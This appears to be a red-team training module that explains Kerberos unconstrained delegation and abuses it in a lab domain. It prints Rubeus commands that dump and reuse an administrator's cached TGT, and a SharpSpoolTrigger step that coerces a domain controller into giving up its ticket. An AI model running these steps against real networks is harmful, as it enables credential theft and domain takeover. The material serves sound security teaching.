Unconstrained Delegation

Delegation allows a user or machine to act on behalf of another user to another service. A common implementation of this is where a user authenticates to a front-end web application that serves a back-end database. The front-end application needs to authenticate to the back-end database (using Kerberos) as the authenticated user.

\

\

We know how a user performs Kerberos authentication to the Web Server, but how can the Web Server authenticate to the DB and perform actions as the user? Unconstrained Delegation was the first solution to this problem, introduced in Windows 2000. When configured on a computer, the KDC includes a copy of the user's TGT inside the TGS. In this example, when the user accesses the Web Server, it extracts the user's TGT from the TGS and caches it in memory. When the Web Server needs to access the DB Server on behalf of that user, it uses the user’s TGT to request a TGS for the database service.

An interesting aspect to unconstrained delegation is that it will cache the user’s TGT regardless of which service is being accessed by the user. So, if an admin accesses a file share or any other service on the machine that uses Kerberos, their TGT will be cached. If we can compromise a machine with unconstrained delegation, we can extract any TGTs from its memory and use them to impersonate the users against other services in the domain.

This query will return all computers that are permitted for unconstrained delegation.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
	[+] samaccountname : DC-2$
	[+] dnshostname    : dc-2.dev.cyberbotic.io
	
	[+] samaccountname : WEB$
	[+] dnshostname    : web.dev.cyberbotic.io

Domain Controllers are always permitted for unconstrained delegation.

\

If we compromise WEB$ and wait or socially engineer a privileged user to interact with it, we can steal their cached TGT. Interaction can be via any Kerberos service, so something as simple as dir \\web\c$ is enough. Rubeus triage will show all the tickets that are currently cached. TGTs can be identified by the krbtgt service.

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

 --------------------------------------------------------------------------------------------------------------- 
 | LUID     | UserName                  | Service                                       | EndTime              |
 --------------------------------------------------------------------------------------------------------------- 
 | 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 10/4/2022 9:35:38 PM |

There is a scheduled task running on Workstation 1 as nlamb that will interact with WEB$ every 5 minutes. If the ticket is not there, wait a minute or so and try again.

\

We can simply extract this TGT and leverage it via a new logon session.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
	
doIFwj [...snip...] MuSU8=

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1540
[+] Ticket successfully imported!
[+] LUID            : 0x3206fb

beacon> steal_token 1540

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/05/2022 17:09:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/06/2022 09:04:41   DumpStack.log.tmp
 384mb    fil     09/06/2022 09:04:41   pagefile.sys

\


\

We can also obtain TGTs for computer accounts by forcing them to authenticate remotely to this machine. As mentioned in the NTLM Relaying module of the Pivoting chapter, several tools exist to facilitate this. This time, we will force the domain controller to authenticate to the web server to steal its TGT.

We will also utilise Rubeus' monitor command. This will drop into loop and continuously monitor for and extract new TGT as they get cached. It's a superior strategy when compared to running triage manually because there's little chance of us not seeing or missing a ticket.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap

[*] Action: TGT Monitoring
[*] Monitoring every 10 seconds for new TGTs

\

Next, run SharpSpoolTrigger.

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io

Where:

  • DC-2 is the "target".

  • WEB is the "listener".

\

Rubeus will then capture the ticket.

[*] 9/6/2022 2:44:52 PM UTC - Found new TGT:

  User                  :  DC-2$@DEV.CYBERBOTIC.IO
  StartTime             :  9/6/2022 9:06:14 AM
  EndTime               :  9/6/2022 7:06:14 PM
  RenewTill             :  9/13/2022 9:06:14 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

doIFuj[...]lDLklP

\

Machine TGTs are leveraged slightly differently - see the S4U2Self Abuse module. To stop Rubeus, use the jobs and jobkill commands.

Last updated